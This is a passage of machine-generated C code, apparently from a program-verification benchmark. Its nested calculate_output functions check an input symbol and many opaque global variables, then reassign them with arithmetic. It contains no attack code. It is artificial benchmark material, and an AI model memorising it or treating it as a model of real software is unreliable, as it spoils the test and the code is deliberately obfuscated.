a27 = a135[(a17 + -5)];
a66 = 3;
a85 = a72[0];
a10 = a199;
a120 = a171[4];
a17 = 11;
}//printf("%d\n", 24);
}
if((((a146 == 34 && ((36 == a10[4]) && a166 == 5)) && a85 == a72[2]) && (((((100 == a180[1]) && (( cf==1 && a43 == 10) && a27 == a135[2])) && input == inputs[3]) && ((123 < a58) && (272 >= a58))) && a130 == a148[2]))) {
cf = 0;
a146 = 36 ;
a85 = a72[1];
a17 = 10;
a169 = (((((a58 * a12) % 74) - -346) - 21) + 32);
a93 = 36 ;
a180 = a55;
a10 = a199;
a27 = a135[(a111 - 6)];
a66 = 4;
a130 = a148[2];
a58 = (((a58 / 5) - -26748) / 5);
a173 = 34 ;
a120 = a171[2];
a43 = (a111 - -2);
a111 = 13;
a70 = (((a70 * 5) + 5816) + 340);
a156 = a86;
a12 = (((((a12 * 5) % 30) - 19) * 9) / 10);
//printf("%d\n", 22);
}
if(((a173 == 34 && ((a130 == a148[2] && (a43 == 10 && (((-62 < a12) && (-1 >= a12)) && a166 == 5))) && a93 == 34)) && (((( cf==1 && input == inputs[6]) && a27 == a135[2]) && a85 == a72[2]) && a120 == a171[2]))) {
cf = 0;
a85 = a72[6];
a61 = a172[(a43 + -3)];
a27 = a135[(a43 + -6)];
//printf("%d\n", 24);
}
if(((((a66 == 3 && (105 == a156[5])) && a120 == a171[2]) && ((-62 < a12) && (-1 >= a12))) && (a27 == a135[2] && ((((93 < a70) && (251 >= a70)) && (input == inputs[8] && (( cf==1 && a43 == 10) && a166 == 5))) && a130 == a148[2])))) {
cf = 0;
a173 = 32 ;
a150 = a115;
a120 = a171[5];
a27 = a135[(a43 + -5)];
a157 = ((a66 / a66) + 7);
//printf("%d\n", 24);
}
if((((a130 == a148[2] && (a17 == 6 && (input == inputs[9] && (a27 == a135[2] && ( cf==1 && a166 == 5))))) && a111 == 12) && (((a66 == 3 && a146 == 34) && a43 == 10) && ((123 < a58) && (272 >= a58))))) {
cf = 0;
if((a174 == 12 || 371 < a169)) {
a130 = a148[6];
a10 = a128;
a66 = 7;
a85 = a72[2];
a111 = 13;
a146 = 35 ;
a156 = a107;
a27 = a135[((a17 / a17) + 5)];
a58 = (((a58 - -10961) + 2391) - 5614);
a17 = 8;
a169 = ((((((a70 * a12) % 74) - -369) * 5) % 74) + 252);
a120 = a171[6];
a70 = ((((a70 / 5) + -2897) * -1) / 10);
a93 = 32 ;
a180 = a165;
a173 = 34 ;
a12 = ((((a12 - -26625) / 5) * 10) / 9);
}else {
a27 = a135[(a66 - -4)];
a168 = (a66 - -10);
a185 = a108;
}//printf("%d\n", 24);
}
if((((a66 == 3 && (((36 == a10[4]) && (a166 == 5 && (a43 == 10 && (( cf==1 && a27 == a135[2]) && input == inputs[2])))) && ((123 < a58) && (272 >= a58)))) && a130 == a148[2]) && (a120 == a171[2] && a85 == a72[2]))) {
cf = 0;
a156 = a103;
a130 = a148[4];
a93 = 34 ;
a120 = a171[0];
a146 = 36 ;
a180 = a165;
a27 = a135[((a66 - a66) + 1)];
a85 = a72[0];
a17 = 11;
a58 = (((a58 / 5) * 5) + -5948);
a70 = ((((a70 % 78) + 151) + -7005) - -6955);
a12 = (((a12 - -22999) / 5) - 4612);
a173 = 34 ;
a111 = 16;
a44 = a198;
a10 = a199;
a66 = 1;
a117 = a38[(a43 + -10)];
//printf("%d\n", 25);
}
if(((a27 == a135[2] && (((((93 < a70) && (251 >= a70)) && (a17 == 6 && ((a43 == 10 && ( cf==1 && a166 == 5)) && input == inputs[7]))) && (100 == a180[1])) && (105 == a156[5]))) && (a120 == a171[2] && a66 == 3))) {
cf = 0;
a7 = 35 ;
a166 = ((a111 * a43) + -114);
a27 = a135[(a66 + 1)];
//printf("%d\n", 19);
}
if((((a111 == 12 && ((((a27 == a135[2] && ( cf==1 && a43 == 10)) && input == inputs[1]) && a66 == 3) && ((123 < a58) && (272 >= a58)))) && a146 == 34) && ((a130 == a148[2] && a166 == 5) && a85 == a72[2]))) {
cf = 0;
a157 = ((a43 / a43) - -7);
a120 = a171[7];
a27 = a135[((a43 - a43) - -5)];
a173 = 34 ;
a150 = a115;
//printf("%d\n", 23);
}
}
int calculate_outputm54(int input) {
if((((a111 == 12 && (((123 < a58) && (272 >= a58)) && a146 == 34)) && (36 == a10[4])) && (((100 == a180[1]) && (((a27 == a135[2] && ( cf==1 && a43 == 13)) && a166 == 5) && input == inputs[3])) && a17 == 6))) {
cf = 0;
a169 = ((((a12 * a12) + 5688) + -22524) - -35799);
a70 = ((((((a169 * a12) % 14999) + -1486) + -8471) * 10) / 9);
a156 = a103;
a10 = a113;
a111 = ((a66 * a166) - 5);
a58 = (((((a58 * a169) % 14999) - 24401) / 5) - 13000);
a93 = 33 ;
a27 = a135[a17];
a120 = a171[(a43 + -13)];
a17 = ((a43 - a66) + -6);
a66 = ((a43 * a43) + -168);
a180 = a165;
a130 = a148[((a17 / a17) - 1)];
a68 = 32 ;
a146 = 33 ;
a12 = (((((a12 * a70) % 14999) + 1849) - 23227) + -6471);
//printf("%d\n", 25);
}
}
int calculate_outputm13(int input) {
if((((100 == a180[1]) && (((-62 < a12) && (-1 >= a12)) && (a17 == 6 && (a85 == a72[2] && (105 == a156[5]))))) && (a146 == 34 && (a43 == 10 && cf==1 )))) {
calculate_outputm53(input);
}
if(((((((93 < a70) && (251 >= a70)) && (a66 == 3 && (105 == a156[5]))) && a111 == 12) && ((-62 < a12) && (-1 >= a12))) && (a130 == a148[2] && (a43 == 13 && cf==1 )))) {
calculate_outputm54(input);
}
}
int calculate_outputm55(int input) {
if(((a17 == 6 && (((100 == a180[1]) && (a111 == 12 && (105 == a156[5]))) && a146 == 34)) && (((93 < a70) && (251 >= a70)) && (((a166 == 6 && (input == inputs[5] && cf==1 )) && a157 == 12) && a27 == a135[2])))) {
cf = 0;
if(((a68 == 35 || a17 == 6) || !(a66 == 8))) {
a85 = a72[((a111 + a111) + -24)];
a61 = a172[(a17 + 1)];
a166 = ((a157 + a66) - 10);
a27 = a135[((a111 / a111) - -3)];
}else {
a27 = a135[(a166 + -2)];
a182 = a137[((a111 + a157) - 19)];
a166 = (a66 - -1);
}//printf("%d\n", 22);
}
if((((36 == a10[4]) && a93 == 34) && (a173 == 34 && (((93 < a70) && (251 >= a70)) && ((a166 == 6 && ((input == inputs[6] && (a27 == a135[2] && ( cf==1 && a157 == 12))) && (105 == a156[5]))) && ((123 < a58) && (272 >= a58))))))) {
cf = 0;
if(((!(10 == a150[4]) || ((!(89 == a185[3]) || (100 == a180[1])) && a173 == 32)) || !(a130 == 15))) {
a166 = (a66 - 2);
a27 = a135[(a157 + -8)];
a182 = a137[(a111 - 12)];
}else {
a166 = (a111 + -8);
a90 = a42;
}//printf("%d\n", 22);
}
}
int calculate_outputm14(int input) {
if(((a130 == a148[2] && (((93 < a70) && (251 >= a70)) && (a173 == 34 && a93 == 34))) && ((((-62 < a12) && (-1 >= a12)) && ( cf==1 && a157 == 12)) && a17 == 6))) {
calculate_outputm55(input);
}
}
int calculate_outputm56(int input) {
if((a173 == 34 && ((a93 == 34 && (((a120 == a171[2] && ((((45 == a19[2]) && ( cf==1 && a166 == 7)) && a111 == 12) && a27 == a135[2])) && ((123 < a58) && (272 >= a58))) && input == inputs[7])) && ((93 < a70) && (251 >= a70))))) {
cf = 0;
a156 = a103;
a93 = 33 ;
a43 = ((a17 * a166) + -26);
a10 = a113;
a180 = a165;
a12 = (((((a12 - 5113) + -3028) - -17018) * -1) / 10);
a58 = ((((((a58 * a70) % 14999) + -19496) * 10) / 9) - 2127);
a173 = 33 ;
a120 = a171[(a111 - 12)];
a85 = a72[(a66 - 3)];
a17 = (a43 + -12);
a27 = a135[(a111 + -6)];
a169 = ((((((((a70 * a70) % 14999) % 74) - -247) * 9) / 10) * 10) / 9);
a111 = ((a66 * a66) - -1);
a130 = a148[(a66 - 3)];
a70 = (((((a70 * a58) % 14999) + -2847) * 1) + -7804);
a66 = (a43 - 15);
//printf("%d\n", 25);
}
}
int calculate_outputm57(int input) {
if(((a93 == 34 && (((105 == a156[5]) && (( cf==1 && a27 == a135[2]) && (50 == a19[1]))) && a166 == 7)) && (input == inputs[5] && (((a66 == 3 && a146 == 34) && a111 == 12) && a120 == a171[2])))) {
cf = 0;
if((16 == a150[4])) {
a16 = a140[(a111 - 10)];
a43 = (a17 + 8);
a70 = ((((a70 * 5) + 25759) % 60) - -15);
a130 = a148[1];
a146 = 35 ;
a58 = ((((a58 / 5) - 1448) * 5) - -7092);
a27 = a135[(a66 - 3)];
a93 = 35 ;
a85 = a72[5];
a180 = a149;
a120 = a171[5];
a111 = 12;
a10 = a128;
a173 = 35 ;
a12 = (((a12 + 25430) / 5) - 5090);
a156 = a86;
a66 = 2;
a17 = 7;
}else {
a17 = 10;
a44 = a198;
a93 = 35 ;
a85 = a72[5];
a27 = a135[(a66 - 2)];
a120 = a171[6];
a117 = a38[(a111 + -12)];
a146 = 36 ;
a180 = a149;
a173 = 33 ;
a12 = ((((a12 % 30) - 22) - 1) - -19);
a70 = ((((((a70 % 78) - -138) * 10) / 9) + 28776) + -28776);
a10 = a113;
a58 = ((((a58 * -3) / 10) + 6009) + -25086);
a156 = a107;
a111 = 12;
a130 = a148[2];
a66 = 7;
}//printf("%d\n", 25);
}
if(((a85 == a72[2] && (((123 < a58) && (272 >= a58)) && (a27 == a135[2] && (a93 == 34 && a130 == a148[2])))) && ((105 == a156[5]) && ((a17 == 6 && (input == inputs[0] && ( cf==1 && (50 == a19[1])))) && a166 == 7)))) {
cf = 0;
a157 = ((a66 * a111) + -24);
a85 = a72[6];
a120 = a171[3];
a166 = (a157 + -6);
//printf("%d\n", 25);
}
if((((100 == a180[1]) && (a130 == a148[2] && ((((93 < a70) && (251 >= a70)) && (a173 == 34 && a111 == 12)) && ((123 < a58) && (272 >= a58))))) && ((a166 == 7 && (input == inputs[8] && (a27 == a135[2] && cf==1 ))) && (50 == a19[1])))) {
cf = 0;
a168 = (a166 - -8);
a27 = a135[((a66 + a17) - 2)];
//printf("%d\n", 24);
}
if(((((a130 == a148[2] && ((50 == a19[1]) && ( cf==1 && a27 == a135[2]))) && a120 == a171[2]) && a17 == 6) && ((36 == a10[4]) && (a173 == 34 && (input == inputs[4] && (((123 < a58) && (272 >= a58)) && a166 == 7)))))) {
cf = 0;
a98 = (((((((a12 * a58) - -7916) % 45) + -18) * 5) % 45) - 18);
a27 = a135[(a111 - 5)];
a168 = (a17 + 8);
//printf("%d\n", 25);
}
if(((((-62 < a12) && (-1 >= a12)) && (a111 == 12 && ((a166 == 7 && cf==1 ) && input == inputs[7]))) && (((((50 == a19[1]) && (a66 == 3 && a93 == 34)) && a27 == a135[2]) && a173 == 34) && a85 == a72[2]))) {
cf = 0;
a169 = (((((a12 * a58) % 25) + 207) + 16931) + -16931);
a130 = a148[2];
a27 = a135[(a111 + -6)];
a120 = a171[4];
a156 = a86;
a25 = ((((a169 * a12) - 91) + -2294) + -5454);
a66 = 6;
a173 = 32 ;
a93 = 36 ;
a70 = ((((a70 + -14025) % 60) - -50) / 5);
a17 = 8;
a180 = a55;
a10 = a199;
a85 = a72[6];
a111 = 16;
a58 = ((((a58 - -4574) / 5) * 1) / 10);
//printf("%d\n", 22);
}
if((((105 == a156[5]) && ((a120 == a171[2] && (input == inputs[3] && ((50 == a19[1]) && ( cf==1 && a27 == a135[2])))) && ((123 < a58) && (272 >= a58)))) && ((((93 < a70) && (251 >= a70)) && ((36 == a10[4]) && a166 == 7)) && a93 == 34))) {
cf = 0;
a180 = a149;
a166 = (a17 - -2);
a85 = a72[0];
a146 = 34 ;
a16 = a140[(a66 + 4)];
//printf("%d\n", 19);
}
if((((((-62 < a12) && (-1 >= a12)) && a120 == a171[2]) && (50 == a19[1])) && (((((a66 == 3 && (a27 == a135[2] && (input == inputs[6] && cf==1 ))) && a166 == 7) && a17 == 6) && a130 == a148[2]) && ((123 < a58) && (272 >= a58))))) {
cf = 0;
a70 = ((((a70 - 12721) % 78) + 225) - 38);
a111 = 13;
a156 = a107;
a195 = a106[a17];
a185 = a60;
a173 = 32 ;
a85 = a72[7];
a66 = 7;
a10 = a199;
a93 = 34 ;
a130 = a148[6];
a146 = 35 ;
a58 = ((((a58 * 5) - 7463) / 5) - -1342);
a27 = a135[(a17 + -3)];
a120 = a171[2];
a12 = ((((a12 * 5) + 29364) % 28) - 111);
a180 = a55;
a17 = 7;
//printf("%d\n", 19);
}
if(((a66 == 3 && (a111 == 12 && (a166 == 7 && (((input == inputs[2] && ( cf==1 && a27 == a135[2])) && (105 == a156[5])) && (50 == a19[1]))))) && (((93 < a70) && (251 >= a70)) && (((123 < a58) && (272 >= a58)) && ((-62 < a12) && (-1 >= a12)))))) {
cf = 0;
if((a92 == 32 && (80 == a185[0]))) {
a27 = a135[(a66 + 4)];
a168 = (a166 - -5);
a174 = ((a166 * a168) + -69);
}else {
a130 = a148[7];
a44 = a37;
a173 = 33 ;
a156 = a103;
a58 = ((((a58 / 5) + -10496) * -1) / 10);
a10 = a113;
a70 = ((((((a70 * 10) / -9) * 10) / 9) / 5) - 28458);
a120 = a171[2];
a27 = a135[((a17 + a111) - 17)];
a66 = 3;
a180 = a165;
a93 = 35 ;
a111 = 14;
a85 = a72[6];
a146 = 35 ;
a17 = 9;
a185 = a60;
}//printf("%d\n", 24);
}
if(((a27 == a135[2] && (((((93 < a70) && (251 >= a70)) && (input == inputs[1] && ( cf==1 && (50 == a19[1])))) && ((123 < a58) && (272 >= a58))) && a120 == a171[2])) && ((100 == a180[1]) && ((a166 == 7 && a17 == 6) && a130 == a148[2])))) {
cf = 0;
if((a111 == 10 || a195 == 6)) {
a130 = a148[5];
a158 = (((((a12 * a12) + 4162) / 5) * 10) / 9);
a27 = a135[(a166 - 7)];
a120 = a171[3];
a93 = 35 ;
a43 = (a17 - -9);
a66 = 5;
a12 = (((((a12 + -23657) % 28) - 67) * 10) / 9);
a85 = a72[2];
a156 = a103;
a180 = a55;
a146 = 36 ;
a70 = ((((a70 - -16992) * 10) / 9) / 5);
a10 = a199;
a173 = 35 ;
a111 = 15;
a58 = ((((a58 / 5) + 162) + 23708) - 23699);
a17 = 8;
}else {
a27 = a135[((a66 * a111) - 35)];
a44 = a37;
a70 = (((a70 - -15337) / 5) - 2932);
a10 = a113;
a130 = a148[7];
a58 = ((((a58 % 74) - -173) + 20) + 2);
a173 = 34 ;
a17 = 11;
a146 = 33 ;
a93 = 35 ;
a185 = a60;
a111 = 12;
a85 = a72[6];
a156 = a103;
a180 = a165;
a120 = a171[0];
a66 = 7;
}//printf("%d\n", 24);
}
if(((a130 == a148[2] && (a66 == 3 && (a17 == 6 && (input == inputs[9] && ((a27 == a135[2] && ( cf==1 && a166 == 7)) && (50 == a19[1])))))) && (a120 == a171[2] && (a173 == 34 && (105 == a156[5]))))) {
cf = 0;
a27 = a135[a166];
a98 = (((((((a58 * a58) % 14999) % 45) - 48) - 14366) * 2) - -28765);
a168 = (a66 + 11);
//printf("%d\n", 24);
}
}
int calculate_outputm15(int input) {
if((((36 == a10[4]) && ((105 == a156[5]) && (a120 == a171[2] && a130 == a148[2]))) && ((((45 == a19[2]) && cf==1 ) && ((123 < a58) && (272 >= a58))) && (100 == a180[1])))) {
calculate_outputm56(input);
}
if((((( cf==1 && (50 == a19[1])) && a130 == a148[2]) && (105 == a156[5])) && ((100 == a180[1]) && (((93 < a70) && (251 >= a70)) && (a85 == a72[2] && ((-62 < a12) && (-1 >= a12))))))) {
calculate_outputm57(input);
}
}
int calculate_outputm58(int input) {
if(((((a16 == a140[7] && ((123 < a58) && (272 >= a58))) && input == inputs[6]) && ((93 < a70) && (251 >= a70))) && (a173 == 34 && (((105 == a156[5]) && (a93 == 34 && (a27 == a135[2] && (a166 == 8 && cf==1 )))) && (36 == a10[4]))))) {
cf = 0;
a66 = (a111 - 10);
a12 = (((((a12 * a58) + -3730) + -1456) % 28) - 63);
a156 = a86;
a10 = a128;
a93 = 32 ;
a120 = a171[((a111 - a17) + -5)];
a70 = (((((((a70 * a58) % 14999) - 14567) / 5) / 5) % 60) + 33);
a173 = 32 ;
a111 = ((a17 * a66) - 1);
a17 = (a166 - 3);
a44 = a37;
a58 = ((((((((a58 * a12) % 14999) % 77) - -45) + 0) * 5) % 77) - -45);
a27 = a135[(a166 + -7)];
a130 = a148[(a66 - 1)];
a185 = a108;
//printf("%d\n", 20);
}
}
int calculate_outputm16(int input) {
if(((( cf==1 && a16 == a140[7]) && a120 == a171[2]) && (((93 < a70) && (251 >= a70)) && ((105 == a156[5]) && (((-62 < a12) && (-1 >= a12)) && (((123 < a58) && (272 >= a58)) && a173 == 34)))))) {
calculate_outputm58(input);
}
}
int calculate_outputm59(int input) {
if((((((a58 <= -32 && (a66 == 1 && (a195 == a106[5] && a17 == 4))) && a173 == 33) && a70 <= -29) && a12 <= -119) && (((a27 == a135[3] && cf==1 ) && input == inputs[6]) && (89 == a185[3])))) {
cf = 0;
if((a146 == 34 && ((-117 < a25) && (-74 >= a25)))) {
a157 = (a111 - -4);
a43 = (a66 - -11);
a85 = a72[(a66 + 1)];
a27 = a135[(a111 - 10)];
a12 = ((((((((a12 * a70) % 14999) % 30) + -48) * 5) * 5) % 30) + -17);
}else {
a27 = a135[(a111 - 4)];
a169 = ((((((a58 * a70) % 14999) + -3745) % 25) - -196) - -1);
a25 = ((((((a12 * a169) % 14999) - 3201) * 10) / 9) * 1);
a12 = (((((((a12 * a58) % 14999) + 5799) % 30) + -49) + 12011) - 11992);
}//printf("%d\n", 23);
}
if((((a85 == a72[0] && ((a66 == 1 && (a195 == a106[5] && (( cf==1 && a27 == a135[3]) && (89 == a185[3])))) && a17 == 4)) && a120 == a171[0]) && ((input == inputs[4] && a130 == a148[0]) && a70 <= -29))) {
cf = 0;
a27 = a135[((a17 + a111) - 14)];
a43 = ((a111 / a66) - -2);
a146 = 33 ;
a157 = ((a17 + a43) + -7);
//printf("%d\n", 23);
}
if(((a111 == 10 && (((23 == a10[3]) && a27 == a135[3]) && input == inputs[8])) && (a120 == a171[0] && ((a17 == 4 && (a130 == a148[0] && ((89 == a185[3]) && (a195 == a106[5] && cf==1 )))) && a173 == 33)))) {
cf = 0;
a43 = (a111 - -6);
a169 = ((((((((a12 * a12) % 14999) + 4935) % 74) + 234) / 5) * 49) / 10);
a146 = 33 ;
a27 = a135[(a66 - -5)];
//printf("%d\n", 24);
}
}
int calculate_outputm60(int input) {
if(((((89 == a185[3]) && (a70 <= -29 && ((a93 == 33 && (( cf==1 && a195 == a106[6]) && input == inputs[7])) && a85 == a72[0]))) && a27 == a135[3]) && (a17 == 4 && ((23 == a10[3]) && a111 == 10)))) {
cf = 0;
a43 = (a111 + 2);
a157 = ((a43 / a17) - -6);
a27 = a135[((a17 * a43) - 48)];
//printf("%d\n", 23);
}
}
int calculate_outputm17(int input) {
if(((((92 == a180[5]) && a85 == a72[0]) && a93 == 33) && ((((89 == a156[1]) && ( cf==1 && a195 == a106[5])) && a70 <= -29) && a58 <= -32))) {
calculate_outputm59(input);
}
if(((a58 <= -32 && (a130 == a148[0] && a17 == 4)) && ((23 == a10[3]) && (a93 == 33 && (a66 == 1 && (a195 == a106[6] && cf==1 )))))) {
calculate_outputm60(input);
}
}
int calculate_outputm61(int input) {
if((((a93 == 33 && ((89 == a156[1]) && a130 == a148[0])) && input == inputs[2]) && (a66 == 1 && ((a70 <= -29 && (((a27 == a135[3] && cf==1 ) && a61 == a172[7]) && (96 == a185[4]))) && a12 <= -119)))) {
cf = 0;
a58 = ((((((a12 * a12) % 14999) + 3583) * 1) % 74) + 134);
a70 = (((((((a70 * a58) % 14999) / 5) - -13122) - 26612) % 78) + 236);
a166 = (a111 - 4);
a156 = a107;
a27 = a135[(a17 + -2)];
a157 = ((a111 + a166) - 4);
a93 = 34 ;
a130 = a148[(a66 - -1)];
a120 = a171[(a111 + -8)];
a85 = a72[((a157 / a17) - 1)];
a111 = (a66 - -11);
a12 = (((((((a12 * a58) % 14999) / 5) % 30) + -30) / 5) - 41);
a173 = 34 ;
a10 = a199;
a66 = (a17 - 1);
a180 = a149;
a17 = 6;
//printf("%d\n", 20);
}
if((((a173 == 33 && (a93 == 33 && (a17 == 4 && ((input == inputs[9] && cf==1 ) && a61 == a172[7])))) && a85 == a72[0]) && (a70 <= -29 && (((96 == a185[4]) && a58 <= -32) && a27 == a135[3])))) {
cf = 0;
a195 = a106[(a66 + 5)];
a120 = a171[((a111 / a66) + -10)];
a146 = 33 ;
a185 = a60;
//printf("%d\n", 22);
}
}
int calculate_outputm18(int input) {
if(((a70 <= -29 && (a120 == a171[0] && (( cf==1 && a61 == a172[7]) && a85 == a72[0]))) && ((92 == a180[5]) && ((23 == a10[3]) && a111 == 10)))) {
calculate_outputm61(input);
}
}
int calculate_outputm62(int input) {
if((((a130 == a148[2] && ((-62 < a12) && (-1 >= a12))) && a111 == 12) && (((a146 == 34 && (a182 == a137[0] && (a166 == 1 && (a27 == a135[4] && ( cf==1 && input == inputs[2]))))) && ((123 < a58) && (272 >= a58))) && a93 == 34))) {
cf = 0;
//printf("%d\n", 23);
}
}
int calculate_outputm63(int input) {
if((((a146 == 34 && ((a17 == 6 && (36 == a10[4])) && a166 == 1)) && a85 == a72[2]) && (((-62 < a12) && (-1 >= a12)) && ((a27 == a135[4] && (( cf==1 && input == inputs[4]) && a182 == a137[3])) && a111 == 12)))) {
cf = 0;
if((a174 == 12 || (!(16 == a150[4]) && (a68 == 35 || (89 == a156[1]))))) {
a182 = a137[(a66 + 4)];
}else {
a169 = ((((((a12 * a58) % 74) - -351) / 5) + -28144) + 28394);
a66 = ((a111 - a17) + -5);
a156 = a103;
a70 = ((((((a70 * a169) % 14999) / 5) - -9817) * -1) / 10);
a146 = 33 ;
a173 = 33 ;
a43 = (a111 - -4);
a10 = a113;
a180 = a165;
a58 = (((((a169 * a169) % 14999) + -22836) * 1) / 5);
a27 = a135[(a166 + 5)];
a85 = a72[(a43 - 16)];
a17 = ((a66 / a111) - -4);
a93 = 33 ;
a130 = a148[(a66 - 1)];
a111 = (a43 - 6);
a120 = a171[((a66 * a66) - 1)];
a12 = (((((a12 * a169) - 2594) - 690) - -4687) + -8724);
}//printf("%d\n", 24);
}
if((((a146 == 34 && (((93 < a70) && (251 >= a70)) && ((100 == a180[1]) && (input == inputs[3] && a111 == 12)))) && ((123 < a58) && (272 >= a58))) && ((a182 == a137[3] && (a166 == 1 && (a27 == a135[4] && cf==1 ))) && a17 == 6))) {
cf = 0;
//printf("%d\n", 19);
}
if((((a182 == a137[3] && (a130 == a148[2] && a111 == 12)) && a173 == 34) && (((123 < a58) && (272 >= a58)) && (a120 == a171[2] && (a166 == 1 && (a17 == 6 && (( cf==1 && a27 == a135[4]) && input == inputs[5]))))))) {
cf = 0;
a180 = a165;
a10 = a113;
a130 = a148[0];
a169 = (((((((a70 * a58) % 14999) - 9859) * 3) - 317) % 15085) - 14914);
a173 = 33 ;
a27 = a135[(a166 + 5)];
a156 = a103;
a117 = a38[a17];
a111 = (a66 - -7);
a66 = (a111 + -9);
a17 = (a111 + -6);
a93 = 33 ;
a85 = a72[(a111 - a111)];
a58 = (((((a12 * a70) * 1) * 10) / 9) + -2598);
a120 = a171[(a111 - 10)];
a146 = 33 ;
a70 = (((((a70 * a12) + -5267) * 10) / 9) + -977);
a12 = ((((((a12 * a169) % 14999) * 2) % 14940) - 15058) * 1);
//printf("%d\n", 23);
}
}
int calculate_outputm64(int input) {
if((((a27 == a135[4] && (a166 == 1 && ((123 < a58) && (272 >= a58)))) && a130 == a148[2]) && (((a173 == 34 && ((a182 == a137[5] && (input == inputs[3] && cf==1 )) && a93 == 34)) && a66 == 3) && a111 == 12))) {
cf = 0;
a169 = (((((a58 * a70) % 14999) - 7520) / 5) + -8261);
a146 = 33 ;
a166 = ((a111 - a66) - 7);
a27 = a135[(a66 - 1)];
a120 = a171[(a66 - 3)];
//printf("%d\n", 24);
}
}
int calculate_outputm65(int input) {
if(((a27 == a135[4] && (a182 == a137[7] && ( cf==1 && input == inputs[4]))) && (((105 == a156[5]) && ((((-62 < a12) && (-1 >= a12)) && (a146 == 34 && (((123 < a58) && (272 >= a58)) && ((93 < a70) && (251 >= a70))))) && a166 == 1)) && a66 == 3))) {
cf = 0;
a117 = a38[((a111 + a66) - 9)];
a17 = (a66 + 1);
a130 = a148[(a111 - 12)];
a120 = a171[((a17 / a17) - 1)];
a93 = 33 ;
a180 = a165;
a169 = ((((a12 * a58) * 1) / 5) + -22929);
a146 = 33 ;
a85 = a72[(a111 - 12)];
a173 = 33 ;
a12 = ((((((a12 * a169) % 14999) % 14940) + -15058) - 3) + 0);
a156 = a103;
a111 = (a166 - -9);
a70 = (((((((a70 * a58) % 14999) + -16610) + 25636) / 5) * -1) / 10);
a27 = a135[((a111 - a66) + -1)];
a58 = ((((72 * 5) - 16873) - -38165) + -34069);
a10 = a113;
a66 = a166;
//printf("%d\n", 22);
}
if(((a66 == 3 && ((105 == a156[5]) && (a85 == a72[2] && (input == inputs[2] && ((123 < a58) && (272 >= a58)))))) && (((((93 < a70) && (251 >= a70)) && (( cf==1 && a166 == 1) && a182 == a137[7])) && a27 == a135[4]) && a130 == a148[2]))) {
cf = 0;
a70 = (((((a70 * a58) % 14999) + -25150) * 1) - 318);
a17 = (a111 + -8);
a27 = a135[(a111 - 6)];
a25 = (((((a58 * a58) % 14999) / 5) - 25706) * 1);
a173 = 33 ;
a85 = a72[((a166 - a66) - -2)];
a156 = a103;
a169 = (((((((a25 * a12) % 14999) % 25) - -177) + 10223) + 5374) + -15585);
a180 = a165;
a66 = a166;
a93 = 33 ;
a130 = a148[((a17 / a166) + -4)];
a10 = a113;
a58 = (((((a70 * a70) % 14999) - -7655) / 5) + -8577);
a120 = a171[(a111 + -12)];
a111 = (a166 - -9);
//printf("%d\n", 19);
}
if((((input == inputs[9] && ((100 == a180[1]) && ((a166 == 1 && ( cf==1 && a27 == a135[4])) && a146 == 34))) && a182 == a137[7]) && ((a111 == 12 && ((105 == a156[5]) && ((93 < a70) && (251 >= a70)))) && ((-62 < a12) && (-1 >= a12))))) {
cf = 0;
a166 = (a66 + 2);
a85 = a72[(a66 + -3)];
a61 = a172[((a17 / a111) + 7)];
//printf("%d\n", 22);
}
}
int calculate_outputm19(int input) {
if(((a146 == 34 && (a93 == 34 && a17 == 6)) && ((105 == a156[5]) && (((a182 == a137[0] && cf==1 ) && a120 == a171[2]) && a111 == 12)))) {
calculate_outputm62(input);
}
if((((36 == a10[4]) && ((100 == a180[1]) && (a85 == a72[2] && ((93 < a70) && (251 >= a70))))) && (a93 == 34 && ((a182 == a137[3] && cf==1 ) && a111 == 12)))) {
calculate_outputm63(input);
}
if((((36 == a10[4]) && (a66 == 3 && (a130 == a148[2] && a93 == 34))) && (a85 == a72[2] && (( cf==1 && a182 == a137[5]) && a146 == 34)))) {
calculate_outputm64(input);
}
if(((((105 == a156[5]) && ((100 == a180[1]) && (a173 == 34 && a130 == a148[2]))) && a85 == a72[2]) && ((a182 == a137[7] && cf==1 ) && ((-62 < a12) && (-1 >= a12))))) {
calculate_outputm65(input);
}
}
int calculate_outputm66(int input) {
if(((((((105 == a156[5]) && (a146 == 34 && (a27 == a135[4] && ( cf==1 && a166 == 4)))) && ((93 < a70) && (251 >= a70))) && input == inputs[8]) && a182 == a137[5]) && (((123 < a58) && (272 >= a58)) && (a93 == 34 && (100 == a180[1]))))) {
cf = 0;
a93 = 33 ;
a173 = 33 ;
a12 = ((((a12 * a70) + -3642) * 1) + -1762);
a111 = ((a66 * a66) - -1);
a17 = (a66 - -1);
a130 = a148[(a111 - 10)];
a185 = a129;
a27 = a135[(a166 - 1)];
a156 = a103;
a10 = a113;
a58 = (((((((a58 * a70) % 14999) + -2995) * 2) + -13835) % 14984) + -15015);
a61 = a172[(a66 - -4)];
a180 = a165;
a120 = a171[(a17 + -4)];
a66 = (a111 - 9);
a85 = a72[0];
a70 = (((((a70 * a12) % 14999) + 10912) + -20174) + -4390);
//printf("%d\n", 25);
}
if((((input == inputs[9] && (a182 == a137[5] && (a111 == 12 && ((a27 == a135[4] && (a166 == 4 && cf==1 )) && (36 == a10[4]))))) && a17 == 6) && ((a66 == 3 && a120 == a171[2]) && ((93 < a70) && (251 >= a70))))) {
cf = 0;
a166 = ((a17 / a111) - -1);
//printf("%d\n", 23);
}
if(((((a120 == a171[2] && ((a166 == 4 && ( cf==1 && a182 == a137[5])) && a27 == a135[4])) && a85 == a72[2]) && a93 == 34) && ((input == inputs[4] && (a111 == 12 && a17 == 6)) && a130 == a148[2]))) {
cf = 0;
a27 = a135[(a66 + 3)];
a85 = a72[(a166 + -4)];
a58 = ((((a58 * a12) / 5) - 14011) - 4087);
a43 = (a66 + 12);
a111 = ((a166 / a17) - -10);
a146 = 33 ;
a17 = (a111 + -6);
a169 = (((((a12 * a70) % 74) + 319) * 5) / 5);
a120 = a171[((a166 + a166) + -8)];
a93 = 33 ;
a66 = (a111 + -9);
a130 = a148[(a111 - 10)];
a10 = a113;
a156 = a103;
a12 = ((((a12 * a70) + 19657) - 20712) + -2633);
a70 = ((((a70 - 19920) * 10) / 9) * 1);
//printf("%d\n", 20);
}
}
int calculate_outputm20(int input) {
if((((100 == a180[1]) && ( cf==1 && a182 == a137[5])) && ((a120 == a171[2] && (a130 == a148[2] && (a17 == 6 && (105 == a156[5])))) && ((123 < a58) && (272 >= a58))))) {
calculate_outputm66(input);
}
}
int calculate_outputm67(int input) {
